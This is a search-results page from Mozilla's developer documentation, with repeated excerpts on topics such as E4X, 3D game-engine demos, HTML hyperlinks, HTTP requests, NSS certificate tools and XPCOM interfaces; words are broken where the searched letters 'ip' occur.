ipt programmers. the goal is to provide an alternative, simpler syntax for accessing xml documents than via dom interfaces. a valid alternative to e4x is a non-native jxon algorithm. e4x tutorial this tutorial walks you through the basic syntax of e4x (ecmascr
ipt for xml). with e4x, programmers can man
ipulate an xml document with a syntax more familiar to javascr
ipt programming. talk:array.foreach() ok, in the end i didn't remove the old code as it isn't hosted anywhere (i thought the github reference contained the code) but inserted a faster implementation above while retaining the rest of the docume...
... the iterator function returns an object which implements legacy iterator protocol and iterates over enumerable properties of an object. liveconnect (please update or remove as needed.) msx emulator (jsmsx) old proxy api proxies are objects for which the programmer has to define the semantics in javascr
ipt. the default object semantics are implemented in the javascr
ipt engine, often written in lower-level languages like c++. proxies let the programmer define most of the behavior of an object in javascr
ipt. they are said to provide a meta-programming api. parallelarray the goal of parallelarray was to enable data-parallelism in web applications.
...And 7 more matches
The Business Benefits of Web Standards - Archive of obsolete content
layouts into css-based layouts. typically this reduces page size by 25 to 50%. this translates into better user experience, according to usability guru jakob nielsen, who notes that users tend to close a web page when it takes more than 10 seconds to load. the style sheet only needs to load once and then it is cached. the payload might be slightly higher for the first page. but for accessing mult
iple pages of a site over many visits the savings in bandwidth are huge. improve search engine optimization without costs being well-placed in search engines is one of the hardest challenges faced by webmasters. in this case, every bit helps. by using semantic markup we greatly assist the search engines in their indexing process. these things come naturally to standards developers without additi...
...engines is one of the hardest challenges faced by webmasters. in this case, every bit helps. by using semantic markup we greatly assist the search engines in their indexing process. these things come naturally to standards developers without additional effort, time or thought. all their documents are properly marked up at the outset. ...
...separating presentation from content increases the information/markup ratio, making css-based documents more pertinent with regard to the search terms, which makes them rank higher in search results. using css to render titles instead of graphics also helps in this regard. ...
...And 7 more matches
Building up a basic demo with Babylon.js - Game development
babylon.js is one of the most popular 3d game engines used by developers. as with any other 3d library it provides built-in functions to help you implement common 3d functionality more quickly. in this article we'll take you through the real basics of using babylon.js, including setting up a development environment, structuring the necessary html, and writing the javascr
ipt code. we will try to create a simple demo first -- a cube rendered on the screen. if you have already worked through our building up a basic demo series with three.js, playcanvas or a-frame (or you are familiar with other 3d libraries) you'll notice that babylon.js works on similar concepts: camera, light and objects. environment setup to start developing with babylon.js, you don't need much. you should start o...
...your directory. opening the babylon.js documentation in a separate tab -- it is useful to refer to. ...
...he babylon.js documentation in a separate tab -- it is useful to refer to. ...
...And 7 more matches
Building up a basic demo with the PlayCanvas engine - Game development
that's quite an impressive list of features -- let's see some in action. we will try putting together a simple demo first -- a cube rendered on the screen. ...
... inside your directory. opening the playcanvas documentation in a separate tab -- it is useful to refer to. html structure here's the html structure we will use. ...
... playcanvas documentation in a separate tab -- it is useful to refer to. html structure here's the html structure we will use. ...
...And 7 more matches
Positioning - Learn web development
r margins, not both.</p> <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. ...
...r margins, not both.</p> <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. ...
...r margins, not both.</p> <p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. ...
...And 7 more matches
Creating hyperlinks - Learn web development
hyperlinks are really important -- they are what makes the web a web. this article shows the syntax required to make a link, and discusses link best practices. prerequisites: basic html familiarity, as covered in getting started with html. html text formatting, as covered in html text fundamentals. objective: to learn how to implement a hyperlink effectively, and link mult
iple files together. what is a hyperlink? hyperlinks are one of the most exciting innovations the web has to offer. they've been a feature of the web since the beginning, and are what makes the web a web. hyperlinks allow us to link documents to other documents or resources, link to specific parts of documents, or make apps available at a web address. almost any web content can be converted ...
...se that lives on the web. if the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on). for example, the bbc homepage contains a many links that point not only to mult
iple news stories, but also different areas of the site (navigation functionality), login/registration pages (user tools), and more. anatomy of a link a basic link is created by wrapping the text or other content, see block level links, inside an <a> element and using the href attribute, also known as a hypertext reference, or target, that contains the web address. <p>i'm creating a link to <a ...
...ut the link, such as which kind of information the page contains, or things to be aware of on the web site. <p>i'm creating a link to <a href="https://www.mozilla.org/" title="the best place to find more information about mozilla's mission and how to contribute">the mozilla homepage</a>. </p> this gives us the following result and hovering over the link displays the title as a toolt
ip. i'm creating a link to the mozilla homepage. note: a link title is only revealed on mouse hover, which means that people relying on keyboard controls or touchscreens to navigate web pages will have difficulty accessing title information. if a title's information is truly important to the usability of page, then you should present it in a manner that will be accessible to all users, for exampl...
...And 7 more matches
From object to iframe — other embedding technologies - Learn web development
ere are some serious security concerns to consider with <iframe>s, as we'll discuss below, but this doesn't mean that you shouldn't use them in your websites -- it just requires some knowledge and careful thinking. let's explore the code in a bit more detail. ...
...r websites -- it just requires some knowledge and careful thinking. let's explore the code in a bit more detail. ...
...ly that you'll come across any browser that doesn't support <iframe>s these days. sandbox this attribute, which works in slightly more modern browsers than the rest of the <iframe> features (e.g. ie 10 and above) requests heightened security settings; we'll say more about this in the next section. note: in order to improve speed, it's a good idea to set the iframe's src attribute with javascr
ipt after the main content is done with loading. this makes your page usable sooner and decreases your official page load time (an important seo metric.) security concerns above we mentioned security concerns -- let's go into this in a bit more detail now. we are not expecting you to understand all of this content perfectly the first time; we just want to make you aware of this concern, and provi...
...And 7 more matches
Object building practice - Learn web development
objective: to get some practice with using objects and object-oriented techniques in a real world context. ...
... objective: to get some practice with using objects and object-oriented techniques in a real world context. ...
...revious articles we looked at all the essential javascr
ipt object theory and syntax details, giving you a solid base to start from. in this article we dive into a practical exercise, giving you some more practice in building custom javascr
ipt objects, with a fun and colorful result. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascr
ipt basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to get some practice with using objects and object-oriented techniques in a real world context. let's bounce some balls in this article we will write a classic "bouncing balls" demo, to show you how useful objects can be in javascr
ipt. our little balls will bounce around on ...
...And 7 more matches
Client-Server Overview - Learn web development
ccess, "404 not found" if the resource cannot be found, "403 forbidden" if the user isn't authorised to see the resource, etc). the body of a successful response to a get request would contain the requested resource. when an html page is returned it is rendered by the web browser. as part of processing the browser may discover links to other resources (e.g. an html page usually references javascr
ipt and css pages), and will send separate http requests to download these files. both static and dynamic websites (discussed in the following sections) use exactly the same communication protocol/patterns. get request/response example you can make a simple get request by clicking on a link or searching on a site (like a search engine homepage). for example, the http request that is sent when you...
...bdev http/1.1 host: developer.mozilla.org connection: keep-alive pragma: no-cache cache-control: no-cache upgrade-insecure-requests: 1 user-agent: mozilla/5.0 (windows nt 10.0; wow64) applewebkit/537.36 (khtml, like gecko) chrome/52.0.2743.116 safari/537.36 accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 referer: https://developer.mozilla.org/ accept-encoding: gz
ip, deflate, sdch, br accept-charset: iso-8859-1,utf-8;q=0.7,*;q=0.7 accept-language: en-us,en;q=0.8,es;q=0.6 cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=z
ipujsazv6pcgcbjscj1zu6pqzbfmuat; dwf_section_edit=false; dwf_sg_task_completion=false; _gat=1; _ga=ga1.2.1688886003.1471911953; ffo=true the first and second lines contain most of the information we talked about above: the t...
...ins information about the client-side cookies -- you can see in this case the cookie includes an id for managing sessions (cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...). the remaining lines contain information about the browser used and the sort of responses it can handle. for example, you can see here that: my browser (user-agent) is mozilla firefox (mozilla/5.0). it can accept gz
ip compressed information (accept-encoding: gz
ip). it can accept the specified set of characters (accept-charset: iso-8859-1,utf-8;q=0.7,*;q=0.7) and languages (accept-language: de,en;q=0.7,en-us;q=0.3). the referer line indicates the address of the web page that contained the link to this resource (i.e. the origin of the request, https://developer.mozilla.org/). http requests can also have a bo...
...And 7 more matches
Deploying our app - Learn web development
previous overview: understanding client-side tools in the final article in our series, we take the example toolchain we built up in the previous article and add to it so that we can deploy our sample app. we push the code to github, deploy it using netlify, and even show you how to add a simple test into the process. prerequisites: familiarity with the core html, css, and javascr
ipt languages. objective: to finish working through our complete toolchain case study, focusing on deploying the app. post development there's potentially a large range of problems to be solved in this section of the project's lifecycle. as such, it's important to create a toolchain that handles these problems in a way that requires as little manual intervention as possible. her...
...ally and the result of the dist directory to be deployed live on our website. this is where our code, github, and netlify need to be set up to talk to one another, so that each time we update our github code repository, netlify will automatically pick up the changes, run the build tasks, and finally release a new update. we're going to add the build command to our package.json file as an npm scr
ipt, so that the command npm run build will trigger the build process. this step isn't necessary, but it is a good best practice to get into the habit of setting up -- across all our projects, we can then rely on npm run build to always do the complete build step, without needing to remember the specific build command arguments for each project. open the package.json file in your project's roo...
...n build will trigger the build process. this step isn't necessary, but it is a good best practice to get into the habit of setting up -- across all our projects, we can then rely on npm run build to always do the complete build step, without needing to remember the specific build command arguments for each project. open the package.json file in your project's root directory, and find the scr
ipts property. we'll add a build command that we can run to build our code. add the following line to your project now: "scr
ipts": { ... "build": "parcel build src/index.html" } note: if the scr
ipts property already has a command inside it, put a comma at the end of it. keep the json valid. you should now be able to run the following command in the root of your project di...
...And 7 more matches
Overview of Mozilla embedding APIs
at the heart of xpcom's implementation is the service manager and the component manager. ...
...ontenttypehandler_contractid implemented interfaces: nsiunknowncontenttypehandler helperapp launch dialog contract-id: ns_externalhelperappservice_contractid implemented interfaces: nsiexternalhelperappservice preferences service the preferences service provides access to persistent data stored within a user's profile directory. contract-id: ns_pref_contractid implemented interfaces: ns
iprefservice ns
iprefbranch related interfaces: ns
ipreflistener profile manager service contract-id: implemented interfaces: document loader service (webprogress) eventually, this service will be replaced by thewebprogress service... contract-id: ns_document_loader_service_contractid implemented interfaces: nsiwebprogress nsidocumentloader related interfaces: nsiwebprogresslistener p...
...mbedding component which gecko exposes. conceptually, each nswebbrowser instance represents a html content area. conceptually, for each document being rendered, gecko creates a container called a domwindow. each webbrowser exposes a tree of domwindows - representing the frame hierarchy for the current document. as such, access to individual document frames is done via the domwindow interfaces. ...
...And 7 more matches
HTTP Cache
it's only accessible on the default chrome process. when there is no profile the new http cache works, but everything is stored only in memory not obeying any particular limits. it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. ...
... it's only accessible on the default chrome process. when there is no profile the new http cache works, but everything is stored only in memory not obeying any particular limits. it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. ...
...ocess. when there is no profile the new http cache works, but everything is stored only in memory not obeying any particular limits. it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. it will soon be completely obsoleted and removed (bug 913828). nsicachestorageservice the http cache entry-point. accessible as a service only, fully thread-safe, scr
iptable. //github.com/realityr
ipple/uxp/blob/master/netwerk/cache2/nsicachestorageservice.idl "@mozilla.org/netwerk/cache-storage-service;1" provides methods accessing "storage" objects - see nsicachestorage below - giving further access to cache entries - see nsicacheentry more below - per specific url. currently we have 3 types of storages, all the access methods return an...
...And 7 more matches
nss tech note1
functionality of the two decoders, before outlining their differences. ...
...the syntax of these templates is identical for both decoders, except where noted. ...
...to a callback function that will dynamically return the required subtemplate. size+ . this field does not apply to all template types. it is only required for dynamically allocating memory for the structure if the template is being included from an asn.1 sequence or sequence of, or if dynamic allocation was requested from the parent template using the sec_asn1_pointer modifier here is a descr
iption of the various tags and modifiers that apply to the <tt style="color: rgb(0,0,0);">kind field. asn.1 tags asn.1 tags are specified in the lower byte of the kind field of the template, as noted above. the following is not an attempt to explain asn.1 tags or their purposes. rather, the goal here is to explain what type of tags the decoder supports and which macros should be used when definin...
...And 7 more matches
sslcrt.html
help with this migration, your help would be very much appreciated. upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with communicator. validating certificates man
ipulating certificates getting certificate information comparing secitem objects validating certificates cert_verifycertnow cert_verifycertname cert_checkcertvalidtimes nss_cmpcertchainwcanames cert_verifycertnow checks that the current date is within the certificate's validity period and that the ca signature on the certificate is valid. syntax #include <cert.h> secstatus cer...
..._true means certificate signatures are to be checked. pr_false means certificate signatures will not be checked. certusage one of these values: certusagesslclient certusagesslserver certusagesslserverwithstepup certusagesslca certusageemailsigner certusageemailrec
ipient certusageobjectsigner certusageusercertimport certusageverifyca certusageprotectedobjectsigner wincx the pin argument value to pass to pk11 functions. see descr
iption below for more information. returns the function returns one of these values: if successfu...
...erifyca certusageprotectedobjectsigner wincx the pin argument value to pass to pk11 functions. see descr
iption below for more information. returns the function returns one of these values: if successful, secsuccess. if unsuccessful, secfailure. use pr_geterror to obtain the error code. descr
iption the cert_verifycertnow function must call one or more pk11 functions to obtain the services of a pkcs #11 module. some of the pk11 functions require a pin argument (see ssl_setpkcs11pinarg for details), which must be specified in the wincx parameter. to obtain the value to pass in the wincx parameter, call ssl_revealpinarg. cert_verifycertname compares the common name specified in the ...
...And 7 more matches
NSS Tools pk12util
netscape products) that supports pkcs#12 possible. the tool allows you to import certificates and keys from pkcs #12 files into nss or export them and also list certificates and keys in such files. availability see the release notes for the platforms this tool is available on. ...
...s) that supports pkcs#12 possible. the tool allows you to import certificates and keys from pkcs #12 files into nss or export them and also list certificates and keys in such files. availability see the release notes for the platforms this tool is available on. ...
...ed. ...
...And 7 more matches
certutil
it can also list, generate, modify, or delete certificates within the database, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database. ...
...managing certificates in the certificate database. this document discusses certificate and key database management. for information security module database management, see the modutil manpages. options and arguments running certutil always requires one (and only one) option to specify the type of certificate operation. each option may take arguments, anywhere from none to mult
iple arguments. run the command option and -h to see the arguments available for each command option. options options specify an action and are uppercase. -a add an existing certificate to a certificate database. the certificate database should already exist; if one is not present, this option will initialize one by default. -b run a s...
...certificate requests. bracket this string with quotation marks if it contains spaces. -q pqgfile read an alternate pqg value from the specified file when generating dsa key pairs. if this argument is not used, certutil generates its own pqg value. pqg files are created with a separate dsa utility. -q curve-name set the ell
iptic curve name to use when generating ecc key pairs. a complete list of ecc curves is given in the help (-h). -r display a certificate's binary der encoding when listing information about that certificate with the -l option. -s subject identify a particular certificate owner for new certificates or certificate requests. bracket this ...
...And 7 more matches
FOSS
ey, providing the same api for both web and native platforms. getting started here. ...
...g started here. flusspferd - (newer) c++ bindings libjspp - c++ template based library for extending & embedding spidermonkey; works with spidermonkey 1.8.5 and above, has lots of goodies spiderape - the oldest c++ bindings for spidermonkey trixul - (trixul cvs) - trixul xml-based gui toolkit embeds spidermonkey, using javascr
ipt to implement logic behind its gui, supporting calls from javascr
ipt to c++ objects rust mozjs - rust bindings used by servo gnome gjs - javascr
ipt bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.msg.mx/ - bindings to cross-embed spidermonkey and perl. includes a js shell that allo...
... bindings used by servo gnome gjs - javascr
ipt bindings to gnome (broadly, to any library using the gobject introspection mechanism) objective caml http://alain.frisch.fr/soft.html#spider - bindings to embed spidermonkey in ocaml applications perl http://jspl.msg.mx/ - bindings to cross-embed spidermonkey and perl. includes a js shell that allows you to use cpan modules from javascr
ipt. ...
...And 7 more matches
JSClass
a c/c++ program can use a jsclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++. ...
...this field is the bitwise or of one or more of the jsclass_* constants described in jsclass.flags. addproperty jspropertyop a hook called just after adding a new property. may modify the new property value. use null or js_propertystub (spidermonkey 31 or older) for default behavior.
...monkey 31 or older) for default behavior. getproperty jspropertyop a hook called when getting a property. this is the default getter for the class. use null or js_propertystub (spidermonkey 31 or older) for default behavior. setproperty jsstrictpropertyop a hook called when setting a property. this is the default setter for the class. when a scr
ipt creates a new property, this is called after addproperty. use null or js_strictpropertystub (spidermonkey 31 or older) for default behavior. enumerate jsenumerateop method for enumerating object properties. use null or js_enumeratestub (spidermonkey 31 or older) for default behavior. obsolete since jsapi 37 the jsclass_new_enumerate flag instructs spid...
...And 7 more matches
JS_InitClass
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject pointer to the "globals" object to use for initializing the class. ...
...prototype, constructor, properties, and functions. syntax jsobject * js_initclass(jscontext *cx, js::handleobject obj, js::handleobject parent_proto, const jsclass *clasp, jsnative constructor, unsigned nargs, const jspropertyspec *ps, const jsfunctionspec *fs, const jspropertyspec *static_ps, const jsfunctionspec *static_fs); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject pointer to the "globals" object to use for initializing the class. this must not be null. once js_initclass creates the new class's constructor, it stores the construct...
...uires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject pointer to the "globals" object to use for initializing the class. this must not be null. once js_initclass creates the new class's constructor, it stores the constructor as a property in this object. so, for example, if this object is js_getglobalobject(cx), then javascr
ipt code will be able to see the new class as a global name. parent_proto js::handleobject pointer to an object to be used as a prototype. js_initclass always creates a new prototype object that serves as the __proto__ for class instances; parent_proto becomes the __proto__ of that prototype object. clasp jsclass * pointer to the class structure to initialize. this stru...
...And 7 more matches
Parser API
recent builds of the standalone spidermonkey shell include a reflection of the spidermonkey parser, made available as a javascr
ipt api. this makes it easier to write tools in javascr
ipt that man
ipulate javascr
ipt source programs, such as syntax highlighters, static analyses, translators, compilers, obfuscators, etc. note: this page describes spidermonkey-specific behavior and might be incomplete. visit estree spec for a community ast standard that includes latest ecmascr
ipt features and is backward-compatible with spidermonkey format. example: > var expr = reflect.parse("obj.foo + 42").body[0].expression > expr.left.property ({loc:null, type:"identifier", name:"foo"}) > expr.right ({loc:{source:null, start:{line:1, column:10}, end:{line:1, column:12}}, type:"literal", value:42}) it...
...ts.utils.import("resource://gre/modules/reflect.jsm", obj) built-in objects whether in spidermonkey shell or firefox (after importing), the global singleton object reflect currently contains just the parse method. properties of the reflect object the reflect object currently consists of a single method. reflect.parse(src[, options]) coerces src to a string and parses the result as a javascr
ipt program. by default, the parsing returns a program object (see below) representing the parsed abstract syntax tree (ast). additional options may be provided via the options object, which can include any of the following properties: loc boolean default: true when loc is true, the parser includes source location information in the returned ast nodes. source st...
...urns a program object (see below) representing the parsed abstract syntax tree (ast). additional options may be provided via the options object, which can include any of the following properties: loc boolean default: true when loc is true, the parser includes source location information in the returned ast nodes. source string default: null a descr
iption of the input source; typically a filename, path, or url. this string is not meaningful to the parsing process, but is produced as part of the source location information in the returned ast nodes. line number default: 1 the initial line number to use for source location information. builder builder default: null a builder object, which can ...
...And 7 more matches
Split object
be associated with different inner objects at different times. this feature is complicated. programs other than mozilla that embed spidermonkey should avoid using split objects. the window object split objects were introduced to resolve a problem posed by the window object. three interrelated requirements on the window object seemed to conflict. the window object is the global object for scr
ipts in web pages. firefox has to maintain this for web compatibility. for performance, access to global properties must be fast. there is a glaring difference in the lifetime of the window object as seen from two different angles. suppose a scr
ipt in page a, in tab ta, has a reference to the window object of page b in another tab tb. the window object for tab tb must persist as the user nav...
...r web compatibility. for performance, access to global properties must be fast. there is a glaring difference in the lifetime of the window object as seen from two different angles. suppose a scr
ipt in page a, in tab ta, has a reference to the window object of page b in another tab tb. the window object for tab tb must persist as the user navigates from page to page in that tab. to the scr
ipt in page a, the window must appear to be a single object that moves from page to page. but each web page must load with fresh globals. ...
...ence to the window object of page b in another tab tb. the window object for tab tb must persist as the user navigates from page to page in that tab. to the scr
ipt in page a, the window must appear to be a single object that moves from page to page. but each web page must load with fresh globals. (the problem is even a bit subtler than this, since the reference may be direct or indirect. the scr
ipt in a might have opened tb by calling window.open, which returns a direct reference to tb's window. more indirectly, suppose there's a javascr
ipt function defined in page b that refers to global variables in page b. if page a gets a reference to that function, then by calling it, it is indirectly accessing tab tb's window. the function object carries a reference to the window, via the scope chain...
...And 7 more matches
An Overview of XPCOM
together at runtime. the goal of xpcom is to allow different pieces of software to be developed and built independently of one another. in order to allow interoperability between components within an application, xpcom separates the implementation of a component from the interface, which we discuss in interfaces. but xpcom also provides several tools and libraries that enable the loading and man
ipulation of these components, services that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or having to recreate the application. using xpcom, developers create components that can be reused in different applications or that can be replaced to change the functionality of existing applications. xpcom not ...
...nt management file abstraction object message passing memory management we will discuss the above items in detail in the coming chapters, but for now, it can be useful to think of xpcom as a platform for component development, in which features such as those listed above are provided. gecko although it is in some ways structurally similar to microsoft com, xpcom is designed to be used princ
ipally at the application level. the most important use of xpcom is within gecko, an open source, standards compliant, embeddable web browser and toolkit for creating web browsers and other applications. xpcom is the means of accessing gecko library functionality and embedding or extending gecko. this book focuses on the latter - extending gecko - but the fundamental ideas in the book will be impor...
...lly contained in reusable binary libraries (a dll on windows, for example, or a dso on unix), which can include one or more components. when two or more related components are grouped together in a binary library, the library is referred to as a module. modular, component-based programming makes software easier to develop and maintain and has some well-known advantages: benefit descr
iption reuse modular code can be reused in other applications and other contexts. updates you can update components without having to recompile the whole application. performance when code is modularized, modules that are not necessary right away can be "lazy loaded", or not loaded at all, which can improve the performance of your application. maintenance...
...And 7 more matches
Interfacing with the XPCOM cycle collector
the intended audience is mozilla c++ developers. what the cycle collector does the cycle collector spends most of its time accumulating (and forgetting about) pointers to xpcom objects that might be involved in garbage cycles. ...
... the intended audience is mozilla c++ developers. what the cycle collector does the cycle collector spends most of its time accumulating (and forgetting about) pointers to xpcom objects that might be involved in garbage cycles. ...
...mines any suspicious pointers that have been sitting in its buffer for a while. this is the scanning stage of the collector's operation. in this stage the collector repeatedly asks each candidate for a singleton cycle-collection helper class, and if that helper exists, the collector asks the helper to describe the candidate's (owned) children. this way the collector builds a picture of the ownersh
ip subgraph reachable from suspicious objects. if the collector finds a group of objects that all refer back to one another, and establishes that the objects' reference counts are all accounted for by internal pointers within the group, it considers that group cyclical garbage, which it then attempts to free. this is the unlinking stage of the collectors operation. in this stage the collector walks...
...And 7 more matches
imgIDecoderObserver
it lets you monitor the progress of loading an image. 1.0 66 introduced gecko 12.0 inherits from: imgicontainerobserver last changed in gecko 1.7 we make the distinction here between "load" and "decode" notifications. load notifications are fired as the image is loaded from the network or filesystem. decode notifications are fired as the image is decoded. if an image is decoded on load and not visibly discarded, decode notifications are nested logically inside load notifications as one might expect. ...
...ns are fired as the image is loaded from the network or filesystem. decode notifications are fired as the image is decoded. if an image is decoded on load and not visibly discarded, decode notifications are nested logically inside load notifications as one might expect. however, with decode-on-draw, the set of decode notifications can come completely after the load notifications, and can come mult
iple times if the image is discardable. moreover, they can be interleaved in various ways. in general, any presumed ordering between load and decode notifications should not be relied upon. decode notifications may or may not be synchronous, depending on the situation. if imgidecoder::flag_sync_decode is passed to a function that triggers a decode, all notifications that can be generated from the cu...
...est, in boolean aislastpart); methods native code only!ondataavailable decode notification. called when there is more to paint. void ondataavailable( in imgirequest arequest, in boolean acurrentframe, [const] in nsintrect arect ); parameters arequest the request on which data is available, or null if being called for an imgidecoder object. acurrentframe missing descr
iption arect missing descr
iption ondiscard() called when the decoded image data is discarded. this means that the frames no longer exist in decoded form, and any attempt to access or draw the image will initiate a new series of progressive decode notifications. void ondiscard( in imgirequest arequest ); parameters arequest the request on which data is available, or null if being...
...And 7 more matches
nsIAccessibleRole
role_titlebar 1 represents a title or caption bar for a window. it is used by msaa only, supported automatically by ms windows. role_menubar 2 represents the menu bar (positioned beneath the title bar of a window) from which menus are selected by the user. the role is used by xul:menubar or role="menubar". ...
...tion bar for a window. it is used by msaa only, supported automatically by ms windows. role_menubar 2 represents the menu bar (positioned beneath the title bar of a window) from which menus are selected by the user. the role is used by xul:menubar or role="menubar". role_scrollbar 3 represents a vertical or horizontal scroll bar, which is part of the client area or used in a control. role_gr
ip 4 represents a special mouse pointer, which allows a user to man
ipulate user interface elements such as windows. for example, a user clicks and drags a sizing gr
ip in the lower-right corner of a window to resize it. role_sound 5 represents a system sound, which is associated with various system events. role_cursor 6 represents the system mouse pointer. role_caret 7 represents the system car...
...nternal_frame 10 a sub-document or iframe. role_menupopup 11 represents a menu, which presents a list of options from which the user can make a selection to perform an action. it is used for role="menu". role_menuitem 12 represents a menu item, which is an entry in a menu that a user can choose to carry out a command, select an option. it is used for xul:menuitem, role="menuitem". role_toolt
ip 13 represents a toolt
ip that provides helpful hints. role_application 14 represents a main window for an application. it is used for role="application". also refer to role_app_root. role_document 15 represents a document window. a document window is always contained within an application window. it is used for role="document". role_pane 16 represents a pane within a frame or document window...
...And 7 more matches
nsIFile
inherits from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) nsifile is the correct platform-agnostic way to specify a file; you should always use this instead of a string to ensure compatibility. with an nsifile you can navigate to ancestors or descendants without having to deal with the different path separators used on different platforms, query the state of any file or directory at the position represented by the nsifile and create, move or copy items in the filesystem. ...
...platform specific path string or by using cross-platform locations retrieved from the directory service. all methods with string parameters have two forms. the preferred form operates on utf-16 encoded characters strings. an alternate form operates on characters strings encoded in the "native" charset. a string containing characters encoded in the native charset cannot be safely passed to javascr
ipt via xpconnect. therefore, the utf-16 forms are scr
iptable, but the "native methods" are not. in addition, the native form cannot deal with files whose name contains characters outside the default system code page on windows. using the native form limits the ability of your code to deal with the full unicode support on windows 2000 or later where the os itself does not have such a limitation. the...
...ntdir, in acstring newname); native code only! void copytonative(in nsifile newparentdir, in acstring newname); native code only! ...
...And 7 more matches
nsIFilePicker
inherits from: nsisupports last changed in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) implemented by: @mozilla.org/filepicker;1. ...
...this attribute has no effect if private browsing mode is in effect. defaultextension astring the extension for the type of files you want to work with. on some ...
... nsilocalfile the directory that the file picker dialog should initially display. this should be set this before calling open() or show() to specify a starting point. file nsilocalfile the currently selected file or directory. read only. files nsisimpleenumerator an enumerator of the currently selected files. read only. note: only works with modeopenmult
iple mode. fileurl nsiuri the uri of the currently selected file or directory. read only. filterindex long the (0-based) index of the filter which is currently selected in the file picker dialog. set this to choose a particular filter to be selected by default. constants mode constants these constants are used to specify the type of file picker to create when c...
...And 7 more matches
nsISupports proxies
its use is discouraged since it could be removed at any time. try to avoid using it. xpcom proxies were a technology which allowed code to make asynchronous or synchronous xpcom calls to a different thread on arbitrary xpcom interfaces. this technology has been removed in firefox 12 because it was very complex and often lead to strange deadlock conditions. it is no longer needed because javascr
ipt code can no longer run on arbitrary threads, and compiled code can use compiled runnable to achieve the same effect in a much simpler manner. for more information about alternatives, see making cross-thread calls using runnables. the following interface is now obsolete: ns
iproxyobjectmanager. about xpcom proxies a proxy, in this context, is a stub object which enables a method of any class ...
...more information about alternatives, see making cross-thread calls using runnables. the following interface is now obsolete: ns
iproxyobjectmanager. about xpcom proxies a proxy, in this context, is a stub object which enables a method of any class which is derived from nsisupports and has a typelib to be called on any in-process thread. the main reason for nsisupports proxies is that javascr
ipt and ui are on a single thread. when one is busy, the other is blocked. a good example of this is the old install.js scr
ipts that were used in xpinstall in older mozilla versions. they from the majority of javascr
ipt code, which is small and can be quickly run. ...
...this is definitely bad. because of this, xpinstall was moved to its own thread. ...
...And 7 more matches
XPCOM primitive
an xpcom primitive is an xpcom object that "boxes" a value of a primitive type. all xpcom primitives are scr
iptable, and they all implement an xpcom interface from the table below. primitives are rarely useful. the main use case is to store primitive values in a data structure that can only store xpcom objects, such as nsiarray. also, certain apis, such as nsitransferable.settransferdata(), require primitives. ...
... the main use case is to store primitive values in a data structure that can only store xpcom objects, such as nsiarray. also, certain apis, such as nsitransferable.settransferdata(), require primitives. ...
...u are designing that kind of api today, you should probably use nsivariant instead.) idl data type interface component idl nsidptr nsisupportsid @mozilla.org/supports-id;1 [scr
iptable, uuid(d18290a0-4a1c-11d3-9890-006008962422)] interface nsisupportsid : nsisupportsprimitive { attribute nsidptr data; string tostring(); }; astring nsisupportsstring @mozilla.org/supports-string;1 [scr
iptable, uuid(d79dc970-4a1c-11d3-9890-006008962422)] interface nsisupportsstring : nsisupportsprimitive { attribute astring data; wstring tostring(); }; prbool nsisupportsprbool @mozilla.org/supports-prbool;1 [scr
iptable, uuid(ddc3b490-4a1c-11d3-9890-006008962422)] interface nsisupportsprbool : nsisupportsprimitive { attribute prbool data; string tostring(); }; pruint8 nsisupport...
...And 7 more matches
XPCOM Interface Reference by grouping
nsiaccessibleevent nsiaccessiblehyperlink nsiaccessiblehypertext nsiaccessibleimage nsiaccessibleprovider nsiaccessibleretrieval nsiaccessiblerole nsiaccessiblescrolltype nsiaccessibleselectable nsiaccessiblestates nsiaccessibletable nsiaccessibletext nsiaccessibletreecache nsiaccessiblevalue nsiaccessnode nsisyncmessagesender scr
ipt nsiscr
iptableunescapehtml nsiscr
iptableunicodeconverter nsiscr
ipterror nsiscr
ipterror2 stylesheet nsistylesheetservice url nsiuri nsiurl util nsidomserializer nsidomxpathevaluator nsidomxpathexception nsidomxpathexpression nsidomxpathresult xslt nsixsltexception nsixsltprocessor download nsidow...
...hannel nsiapplicationcachecontainer nsiapplicationcachenamespace nsiapplicationcacheservice places nsiannotationobserver rss feed nsifeed nsifeedcontainer nsifeedelementbase nsifeedentry nsifeedgenerator nsifeedperson nsifeedprocessor nsifeedprogresslistener nsifeedresult nsifeedresultlistener nsifeedtextconstruct scr
ipt mozijssubscr
iptloader storage mozistoragevacuumpartic
ipant util nsieffectivetldservice worker nsiabstractworker data nsiarray nsicategorymanager nsicollection nsidictionary nsimutablearray nsisimpleenumerator nsisupportschar nsisupportsdouble nsisupportsfloat nsisupportsid nsisupportsinterfacepointer ...
